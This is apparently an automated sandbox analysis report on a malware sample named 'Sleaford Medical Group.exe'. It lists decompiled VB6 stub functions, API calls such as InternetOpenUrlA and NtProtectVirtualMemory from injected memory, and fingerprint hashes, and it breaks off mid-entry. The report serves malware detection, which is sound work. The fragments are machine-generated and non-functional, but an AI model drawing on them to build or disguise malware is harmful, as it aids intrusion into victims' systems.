Uniqueness Score: -1.00%

Function 00416822, Relevance: 9.0, APIs: 6, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E00416822(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, void* _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v28;
				void* _v44;
				char _v60;
				char* _t19;
				void* _t29;
				void* _t31;
				intOrPtr _t32;

				_t32 = _t31 - 0xc;
				 *[fs:0x0] = _t32;
				L00401670();
				_v16 = _t32;
				_v12 = 0x401540;
				_v8 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x2c,  *[fs:0x0], 0x401676, _t29);
				L004017B4();
				_t19 =  &_v60;
				_push(_t19);
				L00401724();
				L00401730();
				_push(0x4168a2);
				L004017E4();
				L004017FC();
				return _t19;
			}

0x00416825
0x00416834
0x0041683e
0x00416846
0x00416849
0x00416850
0x0041685f
0x00416868
0x0041686d
0x00416870
0x00416871
0x0041687c
0x00416881
0x00416894
0x0041689c
0x004168a1

APIs

__vbaChkstk.MSVBVM60(?,00401676), ref: 0041683E
__vbaStrCopy.MSVBVM60(?,?,?,?,00401676), ref: 00416868
#546.MSVBVM60(?,?,?,?,?,00401676), ref: 00416871
__vbaVarMove.MSVBVM60(?,?,?,?,?,00401676), ref: 0041687C
__vbaFreeStr.MSVBVM60(004168A2,?,?,?,?,?,00401676), ref: 00416894
__vbaFreeVar.MSVBVM60(004168A2,?,?,?,?,?,00401676), ref: 0041689C

Memory Dump Source

Source File: 00000000.00000002.458790591.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.458782497.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.458807026.0000000000418000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.458812048.0000000000419000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$#546ChkstkCopyMove
String ID:
API String ID: 3345291814-0
Opcode ID: 87f108d77fa640742e631c1d140997d9d2f63efab92118afcbbe3d35bf4e5af3
Instruction ID: 94fbb3e31083ee15265b821c626b39480a293765c7d4114d77fd2601de932496
Opcode Fuzzy Hash: 87f108d77fa640742e631c1d140997d9d2f63efab92118afcbbe3d35bf4e5af3
Instruction Fuzzy Hash: 92011D30800208ABCB00EF95C896FDEBBB8EF04748F54842AF405B71A1D778A949CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00416A1C, Relevance: 6.0, APIs: 4, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E00416A1C(void* __ebx, void* __ecx, void* __edi, void* __esi, intOrPtr* _a4, void* _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				long long _v28;
				void* _v32;
				signed int _v36;
				signed int _v44;
				signed int _t21;
				void* _t29;
				intOrPtr _t31;

				 *[fs:0x0] = _t31;
				L00401670();
				_v12 = _t31;
				_v8 = 0x401578;
				L004017B4();
				_t21 =  *((intOrPtr*)( *_a4 + 0x2c4))(_a4, __edi, __esi, __ebx, 0x18,  *[fs:0x0], 0x401676, __ecx, __ecx, _t29);
				asm("fclex");
				_v36 = _t21;
				if(_v36 >= 0) {
					_v44 = _v44 & 0x00000000;
				} else {
					_push(0x2c4);
					_push(0x40ca30);
					_push(_a4);
					_push(_v36);
					L0040182C();
					_v44 = _t21;
				}
				_v28 =  *0x401570;
				asm("wait");
				_push(0x416aa3);
				L004017E4();
				return _t21;
			}

0x00416a2d
0x00416a37
0x00416a3f
0x00416a42
0x00416a4f
0x00416a5c
0x00416a62
0x00416a64
0x00416a6b
0x00416a87
0x00416a6d
0x00416a6d
0x00416a72
0x00416a77
0x00416a7a
0x00416a7d
0x00416a82
0x00416a82
0x00416a91
0x00416a94
0x00416a95
0x00416a9d
0x00416aa2

APIs

__vbaChkstk.MSVBVM60(?,00401676), ref: 00416A37
__vbaStrCopy.MSVBVM60(?,?,?,?,00401676), ref: 00416A4F
__vbaHresultCheckObj.MSVBVM60(?,?,0040CA30,000002C4,?,?,?,?,00401676), ref: 00416A7D
__vbaFreeStr.MSVBVM60(00416AA3,?,?,?,?,?,?,?,00401676), ref: 00416A9D

Memory Dump Source

Source File: 00000000.00000002.458790591.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.458782497.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.458807026.0000000000418000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.458812048.0000000000419000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$CheckChkstkCopyFreeHresult
String ID:
API String ID: 3646427762-0
Opcode ID: 4993a7e2a490e7961b8b235bb8b90fdb75997c18ad1c2c84024ed7756e21c20d
Instruction ID: f47042596158d088a1a95e227122a527cbdcc6a66df520c158f08240d743981d
Opcode Fuzzy Hash: 4993a7e2a490e7961b8b235bb8b90fdb75997c18ad1c2c84024ed7756e21c20d
Instruction Fuzzy Hash: 2901E970940609BBDF00EF91DC4AFEDBBB8FF09794F10856AF005761A0D77899858B58

Uniqueness

Uniqueness Score: -1.00%

Function 00417144, Relevance: 6.0, APIs: 4, Instructions: 41
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E00417144(void* __ebx, void* __ecx, void* __edi, void* __esi, intOrPtr* _a4, void* _a40) {
				intOrPtr _v8;
				intOrPtr _v12;
				void* _v24;
				short _v28;
				signed int _v32;
				signed int _v40;
				signed int _t21;
				void* _t29;
				intOrPtr _t31;

				 *[fs:0x0] = _t31;
				L00401670();
				_v12 = _t31;
				_v8 = 0x4015e8;
				L004017B4();
				_t21 =  *((intOrPtr*)( *_a4 + 0x14c))(_a4, 0, __edi, __esi, __ebx, 0x14,  *[fs:0x0], 0x401676, __ecx, __ecx, _t29);
				asm("fclex");
				_v32 = _t21;
				if(_v32 >= 0) {
					_v40 = _v40 & 0x00000000;
				} else {
					_push(0x14c);
					_push(0x40ca30);
					_push(_a4);
					_push(_v32);
					L0040182C();
					_v40 = _t21;
				}
				_v28 = 0x43aa;
				_push(0x4171c9);
				L004017E4();
				return _t21;
			}

0x00417155
0x0041715f
0x00417167
0x0041716a
0x00417177
0x00417186
0x0041718c
0x0041718e
0x00417195
0x004171b1
0x00417197
0x00417197
0x0041719c
0x004171a1
0x004171a4
0x004171a7
0x004171ac
0x004171ac
0x004171b5
0x004171bb
0x004171c3
0x004171c8

APIs

__vbaChkstk.MSVBVM60(?,00401676), ref: 0041715F
__vbaStrCopy.MSVBVM60(?,?,?,?,00401676), ref: 00417177
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040CA30,0000014C,?,?,?,?,00401676), ref: 004171A7
__vbaFreeStr.MSVBVM60(004171C9,?,?,?,?,?,?,00401676), ref: 004171C3

Memory Dump Source

Source File: 00000000.00000002.458790591.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.458782497.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.458807026.0000000000418000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.458812048.0000000000419000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$CheckChkstkCopyFreeHresult
String ID:
API String ID: 3646427762-0
Opcode ID: 934cb2ca2f7677222bb1f9c585fbc87ea0ae8b2fa5fb9b9cd510f2fc56dfbb69
Instruction ID: bd6d186e5edaf9392e9431020e2a6afa631cf7f4b9b6c7bc2060adf396892512
Opcode Fuzzy Hash: 934cb2ca2f7677222bb1f9c585fbc87ea0ae8b2fa5fb9b9cd510f2fc56dfbb69
Instruction Fuzzy Hash: C2010870940209BFDB00EF95C886FEEBBB4EB05744F20806AF0057B2A1D3795A409BA8

Uniqueness

Uniqueness Score: -1.00%

Function 00416ABE, Relevance: 6.0, APIs: 4, Instructions: 39
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E00416ABE(void* __ebx, void* __ecx, void* __edi, void* __esi, intOrPtr* _a4, void* _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				void* _v24;
				signed int _v28;
				signed int _v36;
				signed int _t20;
				void* _t28;
				intOrPtr _t30;

				 *[fs:0x0] = _t30;
				L00401670();
				_v12 = _t30;
				_v8 = 0x401588;
				L004017B4();
				_t20 =  *((intOrPtr*)( *_a4 + 0x2ec))(_a4, __edi, __esi, __ebx, 0x10,  *[fs:0x0], 0x401676, __ecx, __ecx, _t28);
				asm("fclex");
				_v28 = _t20;
				if(_v28 >= 0) {
					_v36 = _v36 & 0x00000000;
				} else {
					_push(0x2ec);
					_push(0x40ca30);
					_push(_a4);
					_push(_v28);
					L0040182C();
					_v36 = _t20;
				}
				_push(0x416b3b);
				L004017E4();
				return _t20;
			}

0x00416acf
0x00416ad9
0x00416ae1
0x00416ae4
0x00416af1
0x00416afe
0x00416b04
0x00416b06
0x00416b0d
0x00416b29
0x00416b0f
0x00416b0f
0x00416b14
0x00416b19
0x00416b1c
0x00416b1f
0x00416b24
0x00416b24
0x00416b2d
0x00416b35
0x00416b3a

APIs

__vbaChkstk.MSVBVM60(?,00401676), ref: 00416AD9
__vbaStrCopy.MSVBVM60(?,?,?,?,00401676), ref: 00416AF1
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040CA30,000002EC,?,?,?,?,00401676), ref: 00416B1F
__vbaFreeStr.MSVBVM60(00416B3B,?,?,?,?,00401676), ref: 00416B35

Memory Dump Source

Source File: 00000000.00000002.458790591.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.458782497.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.458807026.0000000000418000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.458812048.0000000000419000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$CheckChkstkCopyFreeHresult
String ID:
API String ID: 3646427762-0
Opcode ID: b4b644c028955a710be3bf3c98b56160a6b8a247eb22cba875d91510031a206b
Instruction ID: 0458f41bfb27a863b65a3af71a411fbc9c7a6d465f98418d1ffbc025182abc01
Opcode Fuzzy Hash: b4b644c028955a710be3bf3c98b56160a6b8a247eb22cba875d91510031a206b
Instruction Fuzzy Hash: 57012C70940218BFCB00EF95CC46FEEBBB8EB04744F20442AF001B71A0C3786981CB98

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: Sleaford Medical Group.exe PID: 5356 Parent PID: 2412 Sleaford Medical Group.exeCOMMON

Executed Functions

Function 00563AC4, Relevance: 3.2, APIs: 2, Instructions: 152networkCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(000000AA,00000000,00000000,00000000,00000000), ref: 00563AF9
InternetOpenUrlA.WININET(?,000000B8,00000000,00000000,84000100,00000000,?,?,00000002,?,00000004), ref: 00563C11

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: InternetOpen
String ID:
API String ID: 2038078732-0
Opcode ID: be98108302979801a44550ac27e9237bfe1623cc5f4cdcedf9da88a7461aa65c
Instruction ID: 9073eb8abb6cb8a489bbe7ce2b28862167f6e7fb0f35f10cb05da7db099ecd95
Opcode Fuzzy Hash: be98108302979801a44550ac27e9237bfe1623cc5f4cdcedf9da88a7461aa65c
Instruction Fuzzy Hash: 5E41077024438AAEFB315E24CD45BF93EA5BF45390F604825ED4A9B181D7708F45A714

Uniqueness

Uniqueness Score: -1.00%

Function 00563AC7, Relevance: 3.1, APIs: 2, Instructions: 133networkCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(000000AA,00000000,00000000,00000000,00000000), ref: 00563AF9
InternetOpenUrlA.WININET(?,000000B8,00000000,00000000,84000100,00000000,?,?,00000002,?,00000004), ref: 00563C11

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: InternetOpen
String ID:
API String ID: 2038078732-0
Opcode ID: ce80eb2f420e971086d295e17b3fa33e42483ea1127e48d6d3531550604e7e29
Instruction ID: 577909c182a3211bb5e2730ddc51301b82fc4621392ae615d0364978f4b1cc16
Opcode Fuzzy Hash: ce80eb2f420e971086d295e17b3fa33e42483ea1127e48d6d3531550604e7e29
Instruction Fuzzy Hash: FA41097064038A9EFB314E68CE55BFA3B99BF06390F604425FE469B1D1E7B09E41A724

Uniqueness

Uniqueness Score: -1.00%

Function 00563B11, Relevance: 1.6, APIs: 1, Instructions: 115networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlA.WININET(?,000000B8,00000000,00000000,84000100,00000000,?,?,00000002,?,00000004), ref: 00563C11

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: InternetOpen
String ID:
API String ID: 2038078732-0
Opcode ID: ecb33c2d16eb8190721db2016b69ebb1230f6c99880501974ebcbb57e76b14c2
Instruction ID: 3301cae2f0ac1ef3b5485a29561c29eda2eed331865dd8bc47683b430484bfca
Opcode Fuzzy Hash: ecb33c2d16eb8190721db2016b69ebb1230f6c99880501974ebcbb57e76b14c2
Instruction Fuzzy Hash: 7831F77024438A9FFB304E68CE55BFA3B99FF06390F204425FE469B291E7709E41A724

Uniqueness

Uniqueness Score: -1.00%

Function 00566BBD, Relevance: 1.5, APIs: 1, Instructions: 14nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(000000FF,?,?,?,?,00566713,00000040,00562A23,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00566BD9

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 3ea1e8fc86a72f10693944cb31bb3deef0c6b69a7f878e864a196d24d8a3bdba
Instruction ID: 8d53cdab85d8cf1d8e7940b552d0ad1ba9539805b0e31994a66ceb39ea5c8ccd
Opcode Fuzzy Hash: 3ea1e8fc86a72f10693944cb31bb3deef0c6b69a7f878e864a196d24d8a3bdba
Instruction Fuzzy Hash: E5C012E42240002E68048A28CD48C2BB2AA96D8B28B10C32CB872B22CCCA30EC058032

Uniqueness

Uniqueness Score: -1.00%

Function 1E3D967A, Relevance: 1.5, APIs: 1, Instructions: 8libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 1E3D9694

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 17805a91ce89d95805eb2e433455d7eb0b6c5bcdc8d733b1718a55d4e1c92660
Instruction ID: 9dc3fc0d7781670b415bce55abb366b7500b3d6a050ce368e594cb940c5dda2f
Opcode Fuzzy Hash: 17805a91ce89d95805eb2e433455d7eb0b6c5bcdc8d733b1718a55d4e1c92660
Instruction Fuzzy Hash: 72B09B729015D5C9D601D775460C71B790177D0751FD7C261D1024645E4778C495F6B5

Uniqueness

Uniqueness Score: -1.00%

Function 1E3D9660, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 1E3D966A

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 37fb29c6fe3145658dbb9328d16a11e2be946da6d9028cc9a7a83ea515f9bbe7
Instruction ID: 6d77953ee6aab01513a8102f9ca9f8a339648ac616981084350f7fac571f0098
Opcode Fuzzy Hash: 37fb29c6fe3145658dbb9328d16a11e2be946da6d9028cc9a7a83ea515f9bbe7
Instruction Fuzzy Hash: 9490027520101806D180716E440965E000557D1781FD1C125E4015654DCA558A5977E1

Uniqueness

Uniqueness Score: -1.00%

Function 1E3D96E0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 1E3D96EA

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 63044638f493b191f539c47a2d6c40f8d7ce8f907ff660e6e421454f843e5ae5
Instruction ID: 3cf15d84dcae78538f82a1c58e332881798b5aeafca2f09969f68fcd99ab8ebc
Opcode Fuzzy Hash: 63044638f493b191f539c47a2d6c40f8d7ce8f907ff660e6e421454f843e5ae5
Instruction Fuzzy Hash: 9590027520109806D110616E840975E000557D0781FD5C521E8414658D86D588917161

Uniqueness

Uniqueness Score: -1.00%

Function 1E3D9710, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 1E3D971A

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: e3821b3d3cbe6d4962919530afef5f66581f23a710bbf961fe45c2f06faec37c
Instruction ID: d15c77e278533b3dfc83a35803e34cc9f26cd57ddde70fc24e240ba5689a2a33
Opcode Fuzzy Hash: e3821b3d3cbe6d4962919530afef5f66581f23a710bbf961fe45c2f06faec37c
Instruction Fuzzy Hash: 9590027520101406D10065AE540D65A000557E0781FD1D121E9014555EC6A588917171

Uniqueness

Uniqueness Score: -1.00%

Function 1E3D97A0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 1E3D97AA

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8de4bcb07aa884a3bf0abaaac7b20857ed82f933abae275a803fc0bf16be7196
Instruction ID: 550ac93ff4fc23d02f969aa3215b1a23785ad6460f3e4c79801f553eb06f6074
Opcode Fuzzy Hash: 8de4bcb07aa884a3bf0abaaac7b20857ed82f933abae275a803fc0bf16be7196
Instruction Fuzzy Hash: C590026530101007D140716E541D61A4005A7E1781FD1D121E4404554CD95588566262

Uniqueness

Uniqueness Score: -1.00%

Function 1E3D9780, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 1E3D978A

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: f0febd939e0627692a9fab19fdbc934a870459aefea8f48531863927c32d0aae
Instruction ID: 195fd7eff956c50cdafa364fd4f4a92f8c12cc8f938c846a54a03ce0f75c095f
Opcode Fuzzy Hash: f0febd939e0627692a9fab19fdbc934a870459aefea8f48531863927c32d0aae
Instruction Fuzzy Hash: 9890026D21301006D180716E540D61E000557D1682FD1D525E4005558CC95588696361

Uniqueness

Uniqueness Score: -1.00%

Function 1E3D9540, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 1E3D954A

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3cfb33290b5dda973921a540f89ab586d159297537ade2a5d403f50716c38a9e
Instruction ID: 715d05c76d8f92f1d431d8f6ce1715de725f8cf04aa65b985faa48364fd1e6b9
Opcode Fuzzy Hash: 3cfb33290b5dda973921a540f89ab586d159297537ade2a5d403f50716c38a9e
Instruction Fuzzy Hash: 25900269211010070105A56E070951B004657D57D13D1C131F5005550CD66188616161

Uniqueness

Uniqueness Score: -1.00%

Function 1E3D95D0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 1E3D95DA

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 5d23b74314cd5a7de2c93b3e057904764d52ff6a30c3f0443092ad8ad5c8c267
Instruction ID: 956049f773e060ff3ca9711d91d13f9f4b946a2c4e8a75ebf0edea7cf3cdcf9a
Opcode Fuzzy Hash: 5d23b74314cd5a7de2c93b3e057904764d52ff6a30c3f0443092ad8ad5c8c267
Instruction Fuzzy Hash: 2B9002A5202010074105716E441962A400A57E0681BD1C131E5004590DC56588917165

Uniqueness

Uniqueness Score: -1.00%

Function 1E3D9A20, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 1E3D9A2A

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b3b65e666d09fd9d29806b26fd0359d0ff21727cbcc53fd340a1de3e7cf60537
Instruction ID: 545ea78973d57ce70cfdb9d6a024ed8816d12a892fc93cb458b08aaa359a8ff7
Opcode Fuzzy Hash: b3b65e666d09fd9d29806b26fd0359d0ff21727cbcc53fd340a1de3e7cf60537
Instruction Fuzzy Hash: 02900265601010464140717E884991A40057BE16917D1C231E4988550D8599886566A5

Uniqueness

Uniqueness Score: -1.00%

Function 1E3D9A00, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 1E3D9A0A

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 6d5ae4ad60b03356aa4d6ea25179dcb22df42144749083e6c3820cfea08b30f5
Instruction ID: 78977101de7a41420a67888cf5fb48b6100eefd582cc0ec12b1b6722d98ab0ea
Opcode Fuzzy Hash: 6d5ae4ad60b03356aa4d6ea25179dcb22df42144749083e6c3820cfea08b30f5
Instruction Fuzzy Hash: 4F90027520141406D100616E481971F000557D0782FD1C121E5154555D8665885175B1

Uniqueness

Uniqueness Score: -1.00%

Function 1E3D9A50, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 1E3D9A5A

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: e41066cc20ceb6161cf73126d9d77db5b4cbafc0e89e15f3e697bc55c8497b19
Instruction ID: 8a75a2a5a148aa6d5fdc0d5a72b08c143d72ae66f8a69dc2ed3d47e9bc30b77a
Opcode Fuzzy Hash: e41066cc20ceb6161cf73126d9d77db5b4cbafc0e89e15f3e697bc55c8497b19
Instruction Fuzzy Hash: E590026521181046D200657E4C19B1B000557D0783FD1C225E4144554CC95588616561

Uniqueness

Uniqueness Score: -1.00%

Function 1E3D9860, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 1E3D986A

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: eee17e996f36a5cd9fb84e643573494ca64f4d622fbcad186ed25a3f70d775b1
Instruction ID: fe719339c2a1a59803d900b7391cdc196b8a1fdeda38c7fdc179d0e223c9bda8
Opcode Fuzzy Hash: eee17e996f36a5cd9fb84e643573494ca64f4d622fbcad186ed25a3f70d775b1
Instruction Fuzzy Hash: 0A90027520101417D111616E450971B000957D06C1FD1C522E4414558D96968952B161

Uniqueness

Uniqueness Score: -1.00%

Function 1E3D9840, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 1E3D984A

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: bad7be46706a47ebb0356a255eaf220fa5913d942dbe26b4b1ce41ff128daf98
Instruction ID: 424e9662e0a5f4f97590a08dbeb82bcb54b845d4f588b5b7647929718e4fec7c
Opcode Fuzzy Hash: bad7be46706a47ebb0356a255eaf220fa5913d942dbe26b4b1ce41ff128daf98
Instruction Fuzzy Hash: 1C900265242051565545B16E440951B400667E06C17D1C122E5404950C85669856E661

Uniqueness

Uniqueness Score: -1.00%

Function 1E3D98F0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 1E3D98FA

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: a9b59f285925724223238e19236f53f2e1a9c05208752873474680cb21e6cfad
Instruction ID: e1bdefd6723ac4af1c1748d067897b87a61a9e791db79e5702bfb938097dc880
Opcode Fuzzy Hash: a9b59f285925724223238e19236f53f2e1a9c05208752873474680cb21e6cfad
Instruction Fuzzy Hash: DB90026560101506D101716E440962A000A57D06C1FD1C132E5014555ECA658992B171

Uniqueness

Uniqueness Score: -1.00%

Function 1E3D9910, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 1E3D991A

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8c9a7e932d549b318247330b0a3f14f2fbac25ee0af7f14f61eee7abdeb67e9d
Instruction ID: 5d9137d4383beb5a7f8cafa5843c0d19a7a1da5dd9db52889289296418ac1f0b
Opcode Fuzzy Hash: 8c9a7e932d549b318247330b0a3f14f2fbac25ee0af7f14f61eee7abdeb67e9d
Instruction Fuzzy Hash: 6D9002B520101406D140716E440975A000557D0781FD1C121E9054554E86998DD576A5

Uniqueness

Uniqueness Score: -1.00%

Function 1E3D99A0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 1E3D99AA

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 5967355a3d28d937eaffe55b8fb8f70c4f6be3a4c7f860b42dbb4ab185a11b61
